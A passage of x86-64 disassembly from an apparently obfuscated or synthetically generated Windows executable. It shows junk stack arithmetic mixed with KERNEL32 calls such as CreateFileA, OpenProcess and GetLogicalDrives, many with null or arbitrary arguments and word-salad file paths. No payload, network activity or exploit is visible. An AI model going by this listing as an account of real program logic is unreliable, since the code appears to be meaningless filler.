mov byte [rcx], al
movzx eax, byte [rsp + 0x114]
mov byte [rsp + 0x123], al
movsx eax, word [rsp + 0xd88]
mov rcx, qword [0x1401e7608]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xd64], ax
mov rax, qword [rsp + 0xaf40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa338]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcf0], ax
mov rax, qword [rsp + 0xa438]
mov eax, dword [rax]
mov dword [rsp + 0x4900], eax
mov rax, qword [rsp + 0x9620]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4640], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e00], rax
mov rax, qword [rsp + 0x95d0]
mov rax, qword [rax]
mov qword [rsp + 0xb2a8], rax
mov rax, qword [rsp + 0xa448]
mov rcx, qword [rsp + 0x9288]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9448], rax
lea rcx, [rsp + 0xa4b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0xb74]
movsx ecx, word [rsp + 0xd64]
sub eax, ecx
mov word [0x1401e6044], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0xb108]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x95c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov byte [rcx], al
lea rcx, [rsp + 0x254f8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rax, [rsp + 0xcb4]
mov qword [rsp + 0xb2b0], rax
movzx eax, byte [0x1401e603a]
mov rcx, qword [rsp + 0x99c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x72], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xb2b8], rax
mov r9d, 1
lea r8, [rsp + 0x8c48]
mov rdx, qword [rsp + 0x9600]
mov rcx, qword [rsp + 0xb078]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4238], eax
lea rdx, [rsp + 0x96e0]
mov rcx, qword [rsp + 0x9238]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4904], eax
lea rax, [rsp + 0x123]
mov qword [rsp + 0xb2c0], rax
mov eax, dword [rsp + 0x41bc]
mov ecx, dword [rsp + 0x423c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaba8]
mov dword [rcx], eax
lea rax, [0x1401e7410]
mov qword [rsp + 0xb2c8], rax
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4754], eax
mov rax, qword [rsp + 0x9d90]
mov ecx, dword [rsp + 0x48f0]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x4504], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xb2d0], rax
mov rax, qword [rsp + 0xa540]
mov rcx, qword [rsp + 0x9948]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9b18], rax
movsx eax, byte [rsp + 0x5b]
mov rcx, qword [rsp + 0x9d68]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e6072], al
lea rax, [rsp + 0xde0]
mov qword [rsp + 0xb2d8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
movsx eax, byte [rsp + 0xcf]
movsx ecx, byte [rsp + 0x5b]
sar eax, cl
mov rcx, qword [rsp + 0x9e40]
mov byte [rcx], al
mov rax, qword [0x1401e7628]
movzx eax, byte [rax]
mov byte [rsp + 0x124], al
mov rax, qword [rsp + 0xae08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbb4]
xor eax, ecx
mov rcx, qword [rsp + 0xb150]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xda30
mov rcx, qword [rsp + 0xb138]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x441c], eax
mov eax, dword [rsp + 0x4538]
mov ecx, dword [rsp + 0x473c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x90f0]
mov dword [rcx], eax
lea rax, [rsp + 0x47a4]
mov qword [rsp + 0xb2e0], rax
mov rax, qword [rsp + 0xa778]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ec8]
mov qword [rsp + 0xb2e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb2e8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9ce8], rax
mov rax, qword [rsp + 0x9828]
mov qword [rsp + 0xb2f0], rax
movzx eax, word [rsp + 0xefc]
mov word [0x1401e77cc], ax
mov rax, qword [rsp + 0x91b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xabf8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8e], al
mov rax, qword [rsp + 0xa040]
movzx eax, word [rax]
imul eax, eax, 0x49b
mov word [rsp + 0xe54], ax
mov rax, qword [rsp + 0xa588]
movzx eax, byte [rax]
mov byte [rsp + 0x125], al
mov rcx, qword [rsp + 0xae28]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4908], eax
mov rax, qword [rsp + 0xb148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9320]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb148]
mov word [rcx], ax
lea rax, [rsp + 0x94f0]
mov qword [rsp + 0xb2f8], rax
mov rax, qword [rsp + 0x9228]
mov rcx, qword [rsp + 0x8f30]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9bc8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4494]
mov dword [rsp + 0x490c], eax
mov rax, qword [rsp + 0xb1d0]
mov rcx, qword [rsp + 0x9a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4784], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea rcx, [rsp + 0x2a440]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x438c], eax
mov dword [rsp + 0x20], 0x2ba2
mov r9d, 0x286e
mov r8d, 0xc0c
mov edx, 0x2fa4
mov rcx, qword [rsp + 0x9148]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4910], eax
mov rax, qword [rsp + 0x9028]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10e]
sub eax, ecx
mov byte [0x1401e6057], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xa3b0], rax
movzx eax, word [rsp + 0xca4]
mov rcx, qword [rsp + 0x9440]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa018]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
movzx eax, word [rsp + 0xf48]
mov word [rsp + 0xf9c], ax
lea rdx, [rsp + 0x45f8]
mov rcx, qword [rsp + 0x95c8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4914], eax
mov rax, qword [0x1401e74f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd2c]
add eax, ecx
mov word [rsp + 0xba0], ax
movzx eax, byte [rsp + 0x10c]
mov byte [rsp + 0x126], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0x9150]
mov rcx, qword [rsp + 0xa808]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4228], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xb300], rax
mov rax, qword [rsp + 0xa6a8]
mov rcx, qword [rsp + 0xab60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xae98], rax
lea rax, [rsp + 0xa6a0]
mov qword [rsp + 0xb308], rax
mov rax, qword [rsp + 0x9780]
mov rcx, qword [rsp + 0x9ad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x44cc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
movzx eax, byte [rsp + 0xe9]
mov byte [rsp + 0x127], al
lea rax, [rsp + 0xe6]
mov qword [0x1401e77d0], rax
mov rax, qword [rsp + 0x93c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd0c]
xor eax, ecx
mov rcx, qword [rsp + 0xb028]
mov word [rcx], ax
mov edx, 0xf47
mov rcx, qword [rsp + 0xaa50]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x447c], eax
movsx eax, word [rsp + 0xd8c]
movsx ecx, word [rsp + 0xdc4]
sar eax, cl
mov word [rsp + 0xba4], ax
movzx eax, word [rsp + 0xf7c]
mov word [rsp + 0xfa0], ax
mov rax, qword [rsp + 0x92c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9828]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9968]
mov qword [rcx], rax
mov eax, dword [section..data]
mov dword [rsp + 0x4918], eax
mov eax, dword [rsp + 0x42d4]
mov rcx, qword [rsp + 0x9180]
mov qword [rsp + 0xb310], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb310]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4270], eax
mov rax, qword [rsp + 0x9370]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9908], rax
lea rax, [rsp + 0x113]
mov qword [rsp + 0xb318], rax
mov rax, qword [rsp + 0x9338]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c40]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e74a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xab50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe74]
imul eax, ecx
mov word [rsp + 0xf40], ax
lea rax, [rsp + 0xbc8]
mov qword [rsp + 0xb320], rax
lea rdx, [rsp + 0x4518]
mov rcx, qword [rsp + 0xa180]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x491c], eax
mov rax, qword [rsp + 0x9618]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9618]
mov byte [rcx], al
mov rax, qword [rsp + 0xa890]
mov qword [rsp + 0xb328], rax
mov rax, qword [rsp + 0x9198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x94e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9ac0]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
lea rcx, str.Evened_flasher
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xf04], ax
lea rax, [rsp + 0x8dd8]
mov qword [rsp + 0xb330], rax
mov rax, qword [0x1401e75d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa6e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa248]
mov byte [rcx], al
lea rax, [rsp + 0xde8]
mov qword [0x1401e77d8], rax
movzx eax, byte [rsp + 0x8e]
mov byte [rsp + 0x128], al
movzx eax, word [rsp + 0xf78]
mov rcx, qword [0x1401e7488]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb070]
mov word [rcx], ax
mov rax, qword [rsp + 0xa910]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x102]
add eax, ecx
mov byte [rsp + 0xb9], al
mov rax, qword [rsp + 0x8f20]
mov rax, qword [rax]
mov qword [rsp + 0xb338], rax
mov eax, dword [0x1401e741c]
mov ecx, dword [rsp + 0x47f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4858], eax
mov rax, qword [rsp + 0x9700]
mov qword [rsp + 0xb340], rax
mov rax, qword [rsp + 0x9428]
mov rcx, qword [rsp + 0x9180]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xade8]
mov dword [rcx], eax
movsx eax, word [0x1401e7580]
movsx ecx, word [rsp + 0xcdc]
sub eax, ecx
mov rcx, qword [rsp + 0xa6f0]
mov word [rcx], ax
movzx eax, word [rsp + 0xd68]
mov rcx, qword [rsp + 0xa5e8]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401e75b8], ax
lea rax, [rsp + 0x8b]
mov qword [rsp + 0xb348], rax
movzx eax, byte [rsp + 0xc8]
movzx ecx, byte [rsp + 0xa8]
xor eax, ecx
mov byte [rsp + 0xec], al
lea rcx, [rsp + 0xa4b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.C:Peak_facsimileInstallersConvectionPulled
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb350], rax
movzx eax, word [rsp + 0xe60]
mov word [rsp + 0xfa4], ax
mov rax, qword [rsp + 0x9c90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9db0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc14], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [rsp + 0xaf70]
mov ecx, dword [rsp + 0x44b0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9ae8]
mov dword [rcx], eax
lea rcx, [rsp + 0x255e8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
lea rax, [rsp + 0x9800]
mov qword [rsp + 0xb358], rax
xor edx, edx
mov eax, dword [rsp + 0x48a0]
mov rcx, qword [rsp + 0xac58]
div dword [rcx]
mov dword [rsp + 0x4780], eax
lea rax, [0x1401e7410]
mov qword [rsp + 0xb360], rax
mov rax, qword [rsp + 0x9988]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9118]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e6073], al
mov rax, qword [rsp + 0x9bb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa668]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6f], al
lea rax, [0x1401e76f0]
mov qword [rsp + 0xb368], rax
mov rax, qword [rsp + 0xa460]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x106]
sub eax, ecx
mov byte [rsp + 0xad], al
mov rax, qword [rsp + 0xae08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb148]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xd10], ax
lea rax, [rsp + 0xab80]
mov qword [rsp + 0xb370], rax
mov rax, qword [rsp + 0x8c78]
mov ecx, dword [rsp + 0x467c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9878]
mov dword [rcx], eax
lea rax, [rsp + 0xa4e0]
mov qword [rsp + 0xb378], rax
mov rax, qword [rsp + 0x9498]
mov eax, dword [rax]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x45a4], eax
mov rax, qword [rsp + 0x9310]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa528]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e6044], ax
movsx eax, byte [rsp + 0x11e]
movsx ecx, byte [0x1401e602b]
add eax, ecx
mov byte [rsp + 0x118], al
mov rax, qword [rsp + 0xa720]
movzx eax, word [rax]
mov word [rsp + 0xfa8], ax
movsx eax, byte [rsp + 0x117]
mov rcx, qword [rsp + 0xb348]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8a], al
lea rax, [rsp + 0x106]
mov qword [rsp + 0xb380], rax
mov rax, qword [rsp + 0x95f8]
movzx ecx, al
mov rax, qword [rsp + 0xa268]
sar rax, cl
mov rcx, qword [rsp + 0x93e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaa88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x470c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4434], eax
lea rax, [0x1401e6014]
mov qword [rsp + 0xb388], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov rax, qword [rsp + 0xb268]
mov rcx, qword [rsp + 0xb370]
mov qword [rsp + 0xb390], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb390]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa1a0], rax
movsx eax, byte [rsp + 0x128]
mov rcx, qword [rsp + 0xb0d0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1401e7718]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xb398], rax
mov rax, qword [0x1401e74b8]
movzx eax, word [rax]
mov word [rsp + 0xfac], ax
movzx eax, byte [rsp + 0xbc]
movzx ecx, byte [rsp + 0x10e]
and eax, ecx
mov byte [rsp + 0x75], al
movzx eax, word [rsp + 0xccc]
mov word [rsp + 0xfb0], ax
movzx eax, word [rsp + 0xb60]
movzx ecx, word [0x1401e6064]
sub eax, ecx
mov word [rsp + 0xfac], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x41b4], eax
movzx ecx, word [rsp + 0xe8c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdc0], ax
mov rax, qword [rsp + 0xa7c8]
mov rcx, qword [rsp + 0x9088]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa048]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaf18]
mov qword [rsp + 0xb3a0], rax
mov rax, qword [rsp + 0x9a08]
mov rcx, qword [rsp + 0xa5d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xae70]
mov qword [rcx], rax
mov rax, qword [rsp + 0xade8]
mov eax, dword [rax]
mov dword [rsp + 0x4920], eax
lea rax, [rsp + 0xc40]
mov qword [0x1401e77e0], rax
mov dword [rsp + 0x2a580], 0x94
lea rcx, [rsp + 0x25458]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [rsp + 0xad08]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4498], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4924], eax
movzx eax, byte [rsp + 0x122]
movzx ecx, byte [reloc.COMCTL32.dll_MakeDragList]
add eax, ecx
mov rcx, qword [rsp + 0xad20]
mov byte [rcx], al
mov rax, qword [rsp + 0x9da0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe04]
and eax, ecx
mov word [rsp + 0xba4], ax
movzx eax, byte [rsp + 0x109]
mov byte [rsp + 0x129], al
movsx eax, word [rsp + 0xba4]
movsx ecx, word [0x1401e74e0]
add eax, ecx
mov rcx, qword [rsp + 0x9b78]
mov word [rcx], ax
lea rax, [rsp + 0x9648]
mov qword [rsp + 0xb3a8], rax
mov rax, qword [rsp + 0x9850]
mov rcx, qword [rsp + 0xa8d8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xaa60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9ae8]
mov rcx, qword [rsp + 0xae00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9cf0]
mov dword [rcx], eax
lea rax, [rsp + 0x4348]
mov qword [rsp + 0xb3b0], rax
mov rax, qword [rsp + 0x9a98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa710]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e6032], al
movzx eax, byte [rsp + 0x10a]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa518]
mov byte [rcx], al
lea rax, [rsp + 0xe24]
mov qword [rsp + 0xb3b8], rax
movzx eax, byte [rsp + 0xdc]
movzx ecx, byte [rsp + 0x11c]
shl eax, cl
mov byte [rsp + 0x58], al
movzx eax, word [rsp + 0xda4]
mov rcx, qword [rsp + 0xae20]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9250]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f90]
mov eax, dword [rax]
mov dword [rsp + 0x4928], eax
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x438c], eax
mov rax, qword [rsp + 0x9e98]
mov rcx, qword [rsp + 0xb230]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xb308]
mov qword [rcx], rax
lea rax, [0x1401e6018]
mov qword [rsp + 0xb3c0], rax
mov rax, qword [rsp + 0xa578]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x99d0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xac08], rax
mov rax, qword [rsp + 0xa120]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9440]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e60ec], ax
lea rax, [0x1401e6047]
mov qword [rsp + 0xb3c8], rax
mov rax, qword [rsp + 0x9788]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x77]
sub eax, ecx
mov byte [rsp + 0x11e], al
lea rdx, [rsp + 0x4530]
mov rcx, qword [rsp + 0x9848]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4840], eax
mov rax, qword [rsp + 0xa8c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xeb]
add eax, ecx
mov rcx, qword [rsp + 0xacf8]
mov byte [rcx], al
movzx eax, word [rsp + 0xb70]
mov word [rsp + 0xfb4], ax
mov rax, qword [rsp + 0xa2b8]
mov rcx, qword [rsp + 0xae38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa3c0], rax
mov eax, dword [rsp + 0x4740]
mov dword [rsp + 0x492c], eax
mov eax, dword [rsp + 0x4634]
mov ecx, dword [0x1401e6014]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4878], eax
mov rax, qword [rsp + 0xa7b8]
mov rcx, qword [rsp + 0xa218]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8e10], rax
movzx eax, byte [rsp + 0xe8]
mov byte [0x1401e74b3], al
movzx eax, byte [0x1401e605b]
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0xad10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcb8]
add eax, ecx
mov word [rsp + 0xba8], ax
mov rax, qword [rsp + 0xb0c0]
movzx eax, word [rax]
mov word [rsp + 0xfb8], ax
mov rax, qword [rsp + 0xa9f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc50]
sub eax, ecx
mov rcx, qword [rsp + 0xad48]
mov word [rcx], ax
mov rax, qword [rsp + 0x9588]
mov rcx, qword [rsp + 0x9fc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa158]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9420]
mov eax, dword [rax]
mov dword [rsp + 0x4930], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.C:_sawnPedimentedparleyingoutstationApplauding
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb3d0], rax
mov rax, qword [rsp + 0xa718]
mov rcx, qword [rsp + 0x9da8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb240]
mov rax, qword [rax]
mov qword [rsp + 0xb3d8], rax
movzx eax, word [rsp + 0xe14]
mov rcx, qword [rsp + 0x9db0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9440]
mov word [rcx], ax
movsx eax, byte [rsp + 0xa5]
movsx ecx, byte [0x1401e6072]
sar eax, cl
mov byte [0x1401e7492], al
lea rcx, [rsp + 0x269c8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx ecx, word [rsp + 0xbec]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xed4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rax, [rsp + 0xfb0]
mov qword [rsp + 0xb3e0], rax
movzx eax, byte [rsp + 0xd1]
movzx ecx, byte [rsp + 0x81]
or eax, ecx
mov rcx, qword [rsp + 0xb0f0]
mov byte [rcx], al
movzx eax, word [rsp + 0xe54]
imul eax, eax, 0x8e2
mov rcx, qword [rsp + 0xa420]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xac38]
mov qword [rsp + 0xb3e8], rax
mov rax, qword [rsp + 0xb0b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa918]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb1b0]
mov qword [rcx], rax
mov r9d, 1
lea r8, [rsp + 0x9c60]
mov rdx, qword [rsp + 0xab68]
mov rcx, qword [rsp + 0x9510]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x48ec], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.C:quorumpurdah_serialisingunclenched
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb3f0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x96b0], rax
lea rax, [0x1401e741c]
mov qword [rsp + 0xb3f8], rax
mov eax, dword [rsp + 0x4544]
mov ecx, dword [rsp + 0x46bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4618], eax
movsx eax, byte [rsp + 0xdd]
movsx ecx, byte [rsp + 0x6a]
sub eax, ecx
mov rcx, qword [rsp + 0xac10]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x7d1
mov r9d, 0xd1
mov r8d, 0x39a7
mov edx, 0x3652
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x477c], eax
lea rax, [rsp + 0xe48]
mov qword [0x1401e77e8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.C:Meadowland_accumulatingTelephonicCauseslopsided
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb400], rax
movzx eax, byte [rsp + 0x11c]
mov byte [rsp + 0x12b], al
movsx eax, byte [rsp + 0xce]
movsx ecx, byte [rsp + 0xb1]
sub eax, ecx
mov rcx, qword [rsp + 0x9a98]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x42f4], eax
lea rax, [rsp + 0xd0c]
mov qword [rsp + 0xb408], rax
mov rax, qword [rsp + 0x9438]
mov rcx, qword [rsp + 0xa470]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9cf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9e58]
mov ecx, dword [rsp + 0x4814]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4920], eax
mov rcx, qword [rsp + 0xa190]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x435c], eax
lea rax, [rsp + 0xa988]
mov qword [rsp + 0xb410], rax
mov edx, 0x4905d9
mov rcx, qword [rsp + 0xa7c0]
